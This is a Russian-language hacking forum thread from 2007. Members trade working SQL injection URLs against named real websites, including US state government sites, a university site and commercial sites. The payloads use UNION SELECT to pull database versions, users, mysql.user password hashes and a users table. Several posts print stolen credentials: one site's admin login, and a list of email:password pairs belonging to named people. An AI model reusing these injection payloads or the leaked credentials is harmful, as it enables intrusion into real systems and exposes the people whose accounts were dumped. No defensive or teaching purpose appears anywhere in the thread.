HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.05.2007, 13:41
Cond
Новичок
Регистрация: 28.05.2007
Сообщений: 13
С нами: 9977183

Репутация: 23
По умолчанию

www.maineservicecommission.gov
Код:
http://www.maineservicecommission.gov/news/release.php?ID=-1+union+select+1,2,version(),user(),database(),6,7,8,9,10,11,12/*
www.tam.ca.gov
Код:
http://www.tam.ca.gov/view.php?id=-1+union+select+1,2,concat(version(),0x3a,user()%20,0x3a,database()),4/*

Последний раз редактировалось Cond; 29.05.2007 в 15:01..
 
Ответить с цитированием

  #2  
Старый 29.05.2007, 14:20
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
С нами: 10140806

Репутация: 932


По умолчанию

http://www.psat.wa.gov
Код:
http://www.psat.wa.gov/Publications/news_stories/hoodcanal_news_story.php?id=-131+union+select+concat(user(),version()),2,3,4,5,6,7,8/*
 
Ответить с цитированием

  #3  
Старый 29.05.2007, 15:57
_GaLs_
Постоянный
Регистрация: 21.04.2006
Сообщений: 540
С нами: 10555586

Репутация: 726


По умолчанию

http://www.rudtp.ru/icc.php?id='+union+select+1,2,3,4,5,6,7,8,9,0,1,2, 3,4,5,6,7,8/*
http://www.cmbc.ru/courses.php?ID=-2'+union+select+1,2,concat(version(),0x3a,database ()),4/*
 
Ответить с цитированием

  #4  
Старый 29.05.2007, 16:19
GlooK
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
С нами: 10030823

Репутация: 149
По умолчанию

Код:
http://www.nero.com/eng/showpress.php?id=1'
13 столбцов.
Что-то у муну UNION не получаетца...
 
Ответить с цитированием

  #5  
Старый 29.05.2007, 17:11
ultimatum
Участник форума
Регистрация: 28.04.2007
Сообщений: 239
С нами: 10019906

Репутация: 161
По умолчанию

SQL



Код HTML:
http://market.ya1.ru/market_search.php?search=%271%2C2%2C3%2C4%2F**%2F%3C%3F%2B%24www%3D%24_get%5B

Как дальше продолжуть я незнаю.Стоит фильтр.Всё перепробовал.Наверное это говорит о том что мало опыта в иследовании sql


Код HTML:
http://market.ya1.ru/market_search.php?search=%27union%2Bfrom%2Bselect%2Buser%2C2%2C3%27%2F*

так же нашел

Код HTML:
http://market.ya1.ru/market_search.php?search=12%2F**%2F%3C%3F%2B%24www%20%20%3D%24_get%5B%22.ru%22%5D%3B%3F%3E%3F%3E%3F%3E%3F%%20%203E%3F%3E%3F%3E%3F%3E%3F%3E%3F%3E%3F%3E%ED%E0%E2%E5%20%20%F0%ED%EE%E5+%E4%E0%ED%ED%EE%E5+%EC%EE%E6%ED%EE+%E%20%20A%E0%EA-%F2%EE+%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%F2%FC+%2C%F2%20%20%EE%EB%FC%EA%EE+%FF+%ED%E5%E7%ED%E0%FE+%EA%E0%EA+%%20%2029%29
последнее к sql не относиться, но как ипользовать не знаю

Последний раз редактировалось ultimatum; 29.05.2007 в 18:05..
 
Ответить с цитированием

  #6  
Старый 29.05.2007, 19:56
kamaz
Познающий
Регистрация: 31.01.2007
Сообщений: 88
С нами: 10145068

Репутация: 453
По умолчанию

GlooK
Он и не может получиться
Код:
http://www.nero.com/eng/showpress.php?id=1233+AND+ascii(lower(substring(Version(),1,1)))=51/*
3 версия


Код:
http://www.shejay.net/artistDetail.php?userID=2193%20and%201=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,concat(username,char(58),password,char(58),email),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20users/*
admin:kellyshe
Логиниться на той же странице

Последний раз редактировалось kamaz; 29.05.2007 в 20:06..
 
Ответить с цитированием

  #7  
Старый 29.05.2007, 20:45
Ky3bMu4
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
С нами: 10140806

Репутация: 932


По умолчанию

...
Код:
http://www.ethanolrfa.org/resource/papers/view.php?id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
http://www.volunteermaine.org/news/release.php?ID=-251+union+select+1,2,concat(user(),version()),4,5,6,7,8,9,10,11,12/*
http://www.grrn.org/releases/release.php?rid=79&rhid=1&id=-10+union+select+1,concat(user(),version()),3,4,5,6,7/*
 
Ответить с цитированием

  #8  
Старый 29.05.2007, 22:26
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию

Цитата:
Сообщение от Ky3bMu4  
...
Код:
http://www.ethanolrfa.org/resource/papers/view.php?id=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
вот некоторые аккаунты:
формат:
email: password

danny.allison@bioenergy.abengoa.com:chancesr
tallsop@newenergycorp.com:51673
lisa_royal@admworld.com:lisa
nantoniades@lallemand.com:lalleman
denco@dencollc.com:willb

и т.д. просто надоело...
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #9  
Старый 29.05.2007, 22:32
Cond
Новичок
Регистрация: 28.05.2007
Сообщений: 13
С нами: 9977183

Репутация: 23
По умолчанию

curious.astro.cornell.edu
Код:
http://curious.astro.cornell.edu/question.php?number=-1+union+select+concat(user,char(58),password),2,concat(version(),0x3a,user()%20,0x3a,database()),4,5,6+from+mysql.user/*
 
Ответить с цитированием

  #10  
Старый 29.05.2007, 22:14
kair
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами: 10305026

Репутация: 187
По умолчанию

Код:
http://www.chayka.org/article.php?id=4630%20union%20select%201,table_name,3,4,5,6,7,8,9,0,1%20from+INFORMATION_SCHEMA.TABLES limit+0,1/*
Код:
CHARACTER_SETS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMN_PRIVILEGES, KEY_COLUMN_USAGE, PROFILING, ROUTINES, SCHEMATA, SCHEMA_PRIVILEGES, STATISTICS, TABLES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES, TRIGGERS, USER_PRIVILEGES, VIEWS, Articles, ArticlesAuthors, Authors, Issues, Old_Articles, Old_ArticlesAuthors, Old_Issues, ibf_admin_logs, ibf_admin_sessions, ibf_attachments, ibf_badwords, ibf_calendar_events, ibf_categories
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.